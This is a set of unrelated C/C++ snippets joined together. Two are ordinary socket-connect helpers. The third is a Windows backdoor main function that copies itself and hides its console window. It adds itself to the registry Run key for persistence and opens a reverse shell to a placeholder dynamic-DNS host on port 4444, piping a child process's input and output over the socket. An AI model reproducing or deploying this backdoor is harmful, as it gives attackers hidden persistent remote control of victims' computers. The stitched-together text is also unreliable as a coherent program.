bool Socket::connect( std::string host, unsigned short port ) { if( bValid && !bConnected ) { getAddrFromString( host.c_str() ); addr.sin_family = AF_INET; addr.sin_port = htons(port); int result = ::connect(sockfd,(struct sockaddr *) &addr,sizeof(addr)); #ifdef linux if( result < 0){ perror("ERROR connecting"); close(); return false; } #else if( result == SOCKET_ERROR ) { printf("ERROR connecting! Error code: %d\n", WSAGetLastError() ); close(); return false; } #endif bConnected = true; return true; } return false; }
string cUserVar::EvaluateConnectCmd(const cEvent* e) { if (varparser.connectAddr == "") return ""; int conn_s; /* connection socket */ struct sockaddr_in servaddr; /* socket address structure */ char buffer[MAX_LINE]; /* character buffer */ if ( (conn_s = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) { LogFile.eSysLog("Error creating listening socket"); return ""; } memset(&servaddr, 0, sizeof(varparser.connectAddr.c_str())); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(varparser.connectPort); if (getAddrFromString(varparser.connectAddr.c_str(), &servaddr) != 0) { LogFile.eSysLog("Invalid remote address"); return ""; } if ( connect(conn_s, (struct sockaddr *) &servaddr, sizeof(servaddr) ) < 0 ) { LogFile.eSysLog("Error calling connect()"); return ""; } varparser.compExpr = varparser.cmdArgs; string resexp = EvaluateCompExpr(e, true); sprintf(buffer, "%s\n", resexp.c_str()); Writeline(conn_s, buffer, strlen(buffer)); Readline(conn_s, buffer, MAX_LINE-1); close(conn_s); return buffer; }
int main(int argc, char** argv) { char dyndns[] ="www.youradress.com"; //Get the CWD and append the new Filename for the Copy-Method of the exe itself. //Note: Ugly one... leave it in his dark place alone and hope it will die someday.. char * buffer; buffer = _getcwd(NULL, 0); int counter =0; for(int i = 0;;i++) { if(counter == 2) { if(buffer[i] == '\\' || buffer[i] == '>') { buffer[i] = 0; break; } } if(buffer[i]=='\\') { counter++; } } strcat(buffer,"\\yourfilename.exe"); CopyFileA(argv[0],buffer,false); #if !DEBUG //Hideing the console window HWND hWnd = GetConsoleWindow(); ShowWindow( hWnd, SW_HIDE ); //Setting the console name for fun and profit //char name[]="SPARTA"; //SetConsoleTitleA(name); char subkey[]= "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //char cwd[1024]; //char asf[] = "lolololol"; //_getcwd(cwd,1024); //strcat(cwd,"\\"); //strcpy(cwd,**argv); //strcat(cwd,argv[0]); DWORD shit=0; RegSetValueA(HKEY_CURRENT_USER,subkey,REG_SZ, buffer, shit); #endif //Testausgabe #if DEBUG printf("Socket Client\n"); #endif //Variablen initialisieren long returnvalue; SOCKADDR_IN addr; SECURITY_ATTRIBUTES saAttr; #if DEBUG printf("\n->Start of parent execution.\n"); #endif // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // Create a pipe for the child process's STDOUT. if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0) ) exit(2); // Ensure the read handle to the pipe for STDOUT is not inherited. if ( ! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) ) exit(3); // Create a pipe for the child process's STDIN. if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) exit(4); // Ensure the write handle to the pipe for STDIN is not inherited. if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) ) exit(5); // Create the child process. CreateChildProcess(); //Weitere SOCKET Abhandlungen... //Socket Verfügbarkeit prüfen do { returnvalue = StartWinsock(); if(returnvalue != 0) { #if DEBUG printf("[-] Fehler: StartWinsock Fehlercode: %d!\n",returnvalue); #endif Sleep(60000); } #if DEBUG else { printf("[+] Winsock gestartet!\n"); } #endif } while(returnvalue != 0); //Socket initialisieren do { sock = socket(AF_INET,SOCK_STREAM,0); if(sock == INVALID_SOCKET) { #if DEBUG printf("[-] Fehler: Der Socket konnte nicht erstellt werden, fehler code: %d\n",WSAGetLastError()); #endif Sleep(60000); } #if DEBUG else { printf("[+] Socket erstellt!\n"); } #endif } while(sock == INVALID_SOCKET); //Port und IP übergabe memset(&addr,0,sizeof(SOCKADDR_IN)); addr.sin_family = AF_INET; addr.sin_port = htons(4444); //addr.sin_addr.s_addr = inet_addr("127.0.0.1"); do { returnvalue = getAddrFromString(dyndns,&addr); if(returnvalue == SOCKET_ERROR) { #if DEBUG printf("[-] Fehler: IP für %s konnte nicht aufgeloest werden.\n"); #endif Sleep(60000); } #if DEBUG else { printf("[+] IP aufgelöst!\n"); } #endif } while(returnvalue == SOCKET_ERROR); //Verbindungsaufbau do { returnvalue = connect(sock, (SOCKADDR*)&addr, sizeof(SOCKADDR)); if(returnvalue == SOCKET_ERROR) { #if DEBUG printf("[-] Fehler: connect gescheitert, fehler code: %d\n",WSAGetLastError()); #endif Sleep(60000); } #if DEBUG else { printf("[+] Verbindung hergestellt mit %s\n",argv[1]); } #endif } while(returnvalue == SOCKET_ERROR); for(;;) { #if DEBUG //Warten auf Input printf("[-] Warte auf Input ...\n\n"); #endif WriteToPipe(); ReadFromPipe(); if(exitOnForce) { #if DEBUG printf("\n->SYSTEM GOING DOWN!\n"); #endif break; } } #if DEBUG printf("\n->End of parent execution.\n"); #endif // The remaining open handles are cleaned up when this process terminates. // To avoid resource leaks in a larger application, close handles explicitly. return 0; }